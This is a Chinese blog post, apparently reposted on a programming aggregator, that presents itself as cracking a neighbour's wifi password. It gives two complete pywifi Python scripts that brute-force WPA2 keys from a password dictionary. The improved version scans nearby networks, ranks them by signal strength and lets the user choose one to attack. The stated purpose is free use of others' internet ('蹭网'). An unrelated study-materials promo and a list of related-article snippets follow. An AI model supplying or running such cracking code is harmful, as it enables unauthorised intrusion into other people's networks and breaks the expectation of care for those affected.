昨晚停网后,我写了一段Python代码攻破了隔壁老王家的wifi密码

news2024/11/13 14:51:44

前言

本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力攻防,从而实现免费蹭网。

在这里插入图片描述

开发工具

Python版本: 3.8

相关模块:

pywifi模块

在这里插入图片描述

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

文中密码本,评论留言获取。

在这里插入图片描述

无图形界面

代码实现

import pywifi
from pywifi import const
import time
import datetime

# 测试连接,返回链接结果
def wifiConnect(pwd):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = "Tr0e"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")


# 读取密码本
def readPassword():
    success = False
    print("****************** WIFI攻防 ******************")
    # 密码本路径
    path = "pwd.txt"
    # 打开文件
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密码已攻防:", pwd)
                print("[*] WiFi已自动连接!!!")
                success = True
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("正在攻防 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你攻防出当前指定WIFI的密码,请更换密码字典后重新尝试!")
    exit(0)


if __name__=="__main__":
    readPassword()

代码运行效果:
在这里插入图片描述

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

import pywifi
import time
from pywifi import const

# WiFi扫描模块
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一个无线网卡
    interface = wifi.interfaces()[0]
    # 开始扫描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
    print('\r扫描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解决乱码问题
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list

# WIFI攻防模块
def wifi_password_crack(wifi_name):
    # 字典路径
    wifi_dic_path = input("请输入本地用于WIFI暴力攻防的密码字典(txt格式,每个密码占据1行)的路径:")
    with open(wifi_dic_path, 'r') as f:
        # 遍历密码
        for pwd in f:
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            # 创建wifi对象
            wifi = pywifi.PyWiFi()
            # 创建网卡对象,为第一个wifi网卡
            interface = wifi.interfaces()[0]
            # 断开所有wifi连接
            interface.disconnect()
            # 等待其断开
            while interface.status() == 4:
                # 当其处于连接状态时,利用循环等待其断开
                pass
            # 创建连接文件(对象)
            profile = pywifi.Profile()
            # wifi名称
            profile.ssid = wifi_name
            # 需要认证
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默认加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密码
            profile.key = pwd
            # 删除所有wifi连接文件
            interface.remove_all_network_profiles()
            # 设置新的wifi连接文件
            tmp_profile = interface.add_network_profile(profile)
            # 开始尝试连接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力攻防速度就会变慢)
                if interface.status() == 4:
                    print(f'\r连接成功!密码为:{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密码 {pwd} 尝试攻防。', end='')
# 主函数
def main():
    # 退出标致
    exit_flag = 0
    # 目标编号
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi万能钥匙'.center(35, '-'))
            # 调用扫描模块,返回一个排序后的wifi列表
            wifi_list = wifi_scan()
            # 让用户选择要攻防的wifi编号,并对用户输入的编号进行判断和异常处理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('请选择你要尝试攻防的wifi:'))
                    # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                    if target_num in range(len(wifi_list)):
                        # 二次确认
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你选择要攻防的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
                                # 对用户输入进行小写处理,并判断
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 处理用户其它字母输入
                                else:
                                    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 处理用户非字母输入
                            except ValueError:
                                print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出攻防
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('请重新输入哦(*^▽^*)')
                except ValueError:
                    print('只能输入数字哦o(* ̄︶ ̄*)o')
            # 密码攻防,传入用户选择的wifi名称
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e


if __name__ == '__main__':
    main()

脚本运行效果如下:
效果
上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力攻防的 WIFI;

同时还可灵活指定暴力攻防的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:
效果

最后

为了感谢读者们,我想把我最近收藏的一些编程干货分享给大家,回馈每一个读者,希望能帮到你们。

里面有适合小白新手的全套资料给到大家~

快来和小鱼一起成长进步吧!

① 100+多本Python电子书(主流和经典的书籍应该都有了)

② Python标准库资料(最全中文版)

③ 爬虫项目源码(四五十个有趣且经典的练手项目及源码)

④ Python基础入门、爬虫、web开发、大数据分析方面的视频(适合小白学习)

⑤ Python学习路线图(告别不入流的学习)
资料

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/61769.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端问题解决方法

src动态绑定的时候&#xff0c;千万不要忘记了 : ​ display&#xff1a;inline-block导致高度缩小&#xff0c;而且height增大也没有任何变化display&#xff1a;inline-block其他问题&#xff0c;参考这篇博客前端 - 解决inline-block元素的3个 bug_个人文章 - SegmentFault …

基于DNN深度学习网络的OFDM信号检测算法的matlab仿真,对比LS和MMSE两个算法

目录 1.算法描述 2.仿真效果预览 3.MATLAB核心程序 4.完整MATLAB 1.算法描述 在OFDM系统中&#xff0c;信道估计器的设计上要有两个问题:** 一是导频信息的选择&#xff0c;由于无线信道的时变特性&#xff0c;需要接收机不断对信道进行跟踪&#xff0c;因此导频信息也必须…

【科技与狠活】如何利用Python绘制足球场

卡塔尔世界杯赛程近半&#xff0c;朋友圈都在晒中奖的体育彩票&#xff0c;而我在搬砖&#x1f9f1;。 今天我将介绍如何使用Python Matplotlib创建一个足球场&#xff0c;本文设计球场尺寸为10568。 首先导入所需的依赖包&#xff1a; import pandas as pd import numpy as…

Spring框架(八):基于xml方式Bean的配置

基于xml方式Bean的配置引子基于xml方式Bean的配置Sping工厂实现静态工厂实例工厂FactoryBeanBean的依赖注入Spring的xml标签Spring的getBean方法Spring配置非自定义BeanSpringBean实例化的基本流程引子 痛定思痛&#xff0c;主要问题出现在自己雀氏不熟悉框架底层、一些面试题…

Vue 官方文档2.x教程学习笔记 1 基础 1.5 计算属性和侦听器 1.5.1 计算属性

Vue 官方文档2.x教程学习笔记 文章目录Vue 官方文档2.x教程学习笔记1 基础1.5 计算属性和侦听器1.5.1 计算属性1 基础 1.5 计算属性和侦听器 1.5.1 计算属性 模板内的表达式非常便利&#xff0c;但是设计它们的初衷是用于简单运算的。 在模板中放入太多的逻辑会让模板过重且…

【Linux内核】Linux内核介绍

Linux学习内核思路 学习过程&#xff1a; Linux内核引导及如何初始化进程管理、内存管理 内核引导及过程&#xff1a;CPU通电后&#xff0c;首先执行引导程序&#xff0c;引导程序把内核加载到**内存&#xff0c;**然后执行内核&#xff0c;内核初始化完成后&#xff0c;启动…

[附源码]计算机毕业设计二次元信息分享平台的设计及实现

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

年产2万吨山楂酒工厂的设计-陈酿工段及车间的设计(lunwen+任务书+cad图纸)

目录 摘 要 I Abstract II 1前 言 1 1.1设计背景及目的 1 1.1.1山楂酒的介绍及功效 1 1.1.2目标人群 1 1.1.3发展前景 2 1.2设计依据 2 1.3设计内容 2 1.4原材料的选择 3 第二章 山楂酒生产工艺设计 5 2.1工艺流程 5 2.2 操作要点 5 2.2.1 原料选择 5 2.2.2清洗&#xff1a; 5 …

机器学习:详细推导高斯混合聚类(GMM)原理(附Python实现)

目录0 写在前面1 高斯概率密度2 混合高斯分布3 GMM算法3.1 定义3.2 参数估计4 Python实现4.1 算法流程4.2 E步4.3 M步4.4 可视化0 写在前面 机器学习强基计划聚焦深度和广度&#xff0c;加深对机器学习模型的理解与应用。“深”在详细推导算法模型背后的数学原理&#xff1b;“…

用 NEON 实现高效的 FIR 滤波器

系列文章目录 数字信号处理中的 SIMDNeon intrinsics 简明教程 文章目录系列文章目录写在前面前言FIR 滤波器优化方案何时应该使用时域的滤波器&#xff1f;如何加快FIR滤波器的实现速度&#xff1f;初步假设有限长度信号反转的滤波器系数实际的卷积公式卷积过程可视化线性卷积…

第二期 微信云开发之位置信息获取(wx.getLocation)

很多小伙伴在开发微信小程序的时候&#xff0c;需要获取当前用户位置信息时&#xff0c;都会遇到该如何获取位置详细信息的问题&#xff0c;以下是我的处理方法。 首先&#xff0c;我在生活智打卡小程序使用的是微信小程序自带的获取用户的位置信息的接口&#xff08;wx.getLoc…

基于JSP技术的猎头公司管理软件的设计和实现——内部事务部分(源代码+论文)

分类号&#xff1a;TP315 U D C&#xff1a;D10621-408-(2007)5978-0 密 级&#xff1a;公 开 编 号&#xff1a;2003031227 成都信息工程学院 学位论文 基于JSP技术的猎头公司管理软件的设计和实现 ——内部事务部分 基于JSP技术的猎头公司管理软件的设计和实现 ——内…

世界杯太精彩了,带大家用Python做个足球游戏,边玩游戏边看比赛

文章目录 Python零基础快速制作足球游戏&#xff08;附源代码&#xff09; 前言 一、Python环境说明 二、游戏程序说明 1、游戏开始界面 2、人物移动规则说明&#xff0c;可支持两位玩家 3、足球规则 4、主方法调取 三、游戏运行效果与比赛结果 1、游戏开始界面 2、…

桥接设计模式

一、桥接模式 1、定义 桥接模式&#xff08;Bridge Pattern&#xff09;又称作桥梁模式&#xff0c;指将抽象部分与具体实现部分分离&#xff0c;使它们都可以独立地变化&#xff0c;属于结构型设计模式。 桥接模式的主要目的是通过组合的方式建立两个类之间的联系&#xff0c…

java计算机毕业设计ssm社区养老服务管理系统iq0w7(附源码、数据库)

java计算机毕业设计ssm社区养老服务管理系统iq0w7&#xff08;附源码、数据库&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#…

海口市美兰区图书馆建筑结构设计(计算书+任务书+建筑结构施工组织设计cad图纸)

【目录】 1目录……………………………………………………………………………………………………….1 2前言……………………………………………………………………………………………………3 3 摘要……………………………………………………………….…………………………1 结…

Java项目:SSM出租车管理系统

作者主页&#xff1a;源码空间站2022 简介&#xff1a;Java领域优质创作者、Java项目、学习资料、技术互助 文末获取源码 项目介绍 超级管理员角色包含以下功能&#xff1a; 超级管理员管理,公告管理,系统管理员管理,司机管理,车辆管理,维修保养管理,运营里程记录等功能。 普通…

12.4泛型 map set

目录 一,泛型 1 什么是泛型 2 引出泛型 2.1语法 3 泛型类的使用 3.1 语法 3.2 示例 3.3 类型推导(Type Inference) 4.裸类型(Raw Type) 5 泛型如何编译的 5.2 为什么不能实例化泛型类型数组 6 泛型的上界 6.1 语法 6.3 复杂示例 7 泛型方法 7.1 定义语法 二.通…

【数据结构】二分搜索树

集合java.util包下的常用子类&#xff0c;集合无非就是各种数据结构的应用。集合存在的目的就是为了将数据高校进行读写&#xff0c;无论哪种具体的集合无外乎CURD。 Collection->单个元素保存的父接口。 List->可以保存重复的单个元素。 Set->保存单个不重复元素。…

python在centos7.x下建立虚拟环境

(327条消息) python在centos下安装以及配置_雨师的博客-CSDN博客 https://blog.csdn.net/wtt234/article/details/128172281 python离线环境下安装第三方模块的方法&#xff1a; https://blog.csdn.net/wtt234/article/details/128162292 上篇已经把python在centos下的安装以及…